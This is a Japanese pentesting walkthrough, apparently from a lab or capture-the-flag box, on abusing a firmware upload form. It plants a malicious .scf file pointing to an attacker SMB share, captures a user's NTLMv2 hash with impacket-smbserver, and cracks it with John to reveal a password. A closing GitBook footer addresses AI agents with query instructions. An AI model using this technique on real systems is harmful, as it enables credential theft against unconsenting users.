> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web-vulnerabilities/file-upload-attack/file-upload-+-capture-ntlmv2-.scf-file-pentesting-web.md).

# ファイルアップロードと NTLMv2 の .scf 取得

ファイルアップロードと NTLMv2 の .scf 取得に関する、Webアプリケーションのペネトレーションテスト、エクスプロイトのワークフロー、ペイロード検証、影響評価、修正の文脈でのメモ。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-42c2e4fa7afeac78ab2054457d43d48820da83e6%2Fimage%20(2362).png?alt=media" alt=""><figcaption></figcaption></figure>

このサイトではファームウェアをアップロードするオプションがあります。メッセージには次のようにあります:

> プリンタープリンターモデルを選択し、ファイル共有上で一致するファームウェアの更新をダウンロードしてください。弊社のITチームがアップロードを手動で確認し、まもなくテストを開始します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8a103e1eaa660e3d39c978a9ed7a7baa4cbbb8a7%2Fimage%20(2363).png?alt=media" alt=""><figcaption></figcaption></figure>

## 悪用 - 悪意のあるSCFファイル:

悪意のあるファイルの作成 `.scf` ユーザーが開いたときにNTLMv2を取得するための:

```
[Shell]
Command=2
IconFile=//10.10.14.7/smbFolder/pentestlab.ico
[Taskbar]
Command=ToggleDesktop

```

次でリスナーを起動します **impacket** NTLMv2を取得するために:

```bash
impacket-smbserver smbFolder $(pwd) -smb2support

```

ユーザーのNTLMv2ハッシュの取得 `tony`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f8da4df51c2563ba56afa6c970633def0b257d19%2Fimage%20(2366).png?alt=media" alt=""><figcaption></figcaption></figure>

次によるNTLMハッシュのクラッキング **John**:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash

```

`tony:liltony`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6b50cf05df25f3efb5bf2c48fe685df54937bdd0%2Fimage%20(2367).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web-vulnerabilities/file-upload-attack/file-upload-+-capture-ntlmv2-.scf-file-pentesting-web.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
